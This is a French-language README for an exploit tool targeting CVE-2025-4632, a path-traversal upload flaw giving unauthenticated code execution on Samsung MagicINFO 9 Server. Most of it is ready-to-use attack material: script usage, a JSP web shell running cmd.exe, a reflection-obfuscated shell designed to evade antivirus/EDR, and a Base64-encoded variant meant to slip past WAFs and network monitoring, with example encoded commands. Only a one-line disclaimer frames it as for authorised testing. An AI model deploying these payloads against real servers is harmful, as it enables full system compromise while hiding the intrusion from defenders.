
Ce dépôt contient un script de réplication en Python pour CVE-2025-4632, une vulnérabilité d'exécution de code à distance (RCE) non authentifiée dans Samsung MagicINFO 9 Server (versions antérieures à 21.1052).
Ce dépôt contient un script de réplication en Python pour CVE-2025-4632, une vulnérabilité d'exécution de code à distance (RCE) non authentifiée dans le serveur Samsung MagicINFO 9 (versions antérieures à 21.1052).
La vulnérabilité existe en raison d'une limitation incorrecte d'un nom de chemin dans la servlet SWUpdateFileUploader. En utilisant un parcours de répertoire (../../), un attaquant non authentifié peut écrire des fichiers arbitraires avec les privilèges SYSTEM, conduisant à un compromission totale du serveur.
s4e-io (de la communauté ProjectDiscovery Nuclei (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632.Le script automatise le processus de génération d'une demande de mise à jour d'appareil d'apparence légitime. Il exploite le paramètre fileName en injectant des séquences de traversée de répertoire pour sortir du répertoire de téléversement prévu et écrire un fichier directement dans la racine web (/MagicInfo/).
Le script effectue deux étapes :
/MagicInfo/servlet/SWUpdateFileUploader avec le chemin de traversée./MagicInfo/<filename> pour confirmer le succès de l'exploitation.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target : L'URL de base de la cible (par exemple, http://192.168.1.100:7001).-f / --filename : Le nom du fichier à créer (par exemple, shell.jsp).-d / --data : Le contenu brut à écrire dans le fichier.Les charges utiles suivantes ont été testées avec succès lors d'activités d'évaluation. Elles sont conçues pour prouver l'impact tout en contournant les contrôles de sécurité des points de terminaison.
Utilisée pour confirmer en toute sécurité l'exécution de JSP sans déclencher l'antivirus ou l'EDR.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
Accès : http://<target>:7001/MagicInfo/poc.jsp
Un shell web JSP standard. Remarque : Il peut être détecté et mis en quarantaine par les solutions AV/EDR modernes, ce qui entraîne une 404 Not Found lors de la vérification.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
Accès : http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
Utilisée lorsque le shell standard est bloqué. Cette charge utile utilise la réflexion Java pour masquer la signature Runtime.getRuntime().exec à l'analyse statique.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Accès : http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
Hautement recommandé pour les commandes complexes : Si vous rencontrez des erreurs 400 Bad Request lors de l'exécution de commandes contenant des espaces, des barres obliques inverses ou des caractères spéciaux (par exemple, dir c:\), la validation stricte de l'URI du serveur ou un WAF bloque la requête.
Cette charge utile avancée attend que la commande soit encodée en Base64 dans l'URL. Elle la décode côté serveur avant l'exécution, contournant complètement le filtrage d'URL et masquant la commande aux moniteurs réseau.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Exemples d'utilisation :
Encodez votre commande en Base64 localement (par exemple, echo -n "dir c:\" | base64), puis transmettez-la au paramètre c.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==Avertissement : Ce script est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés.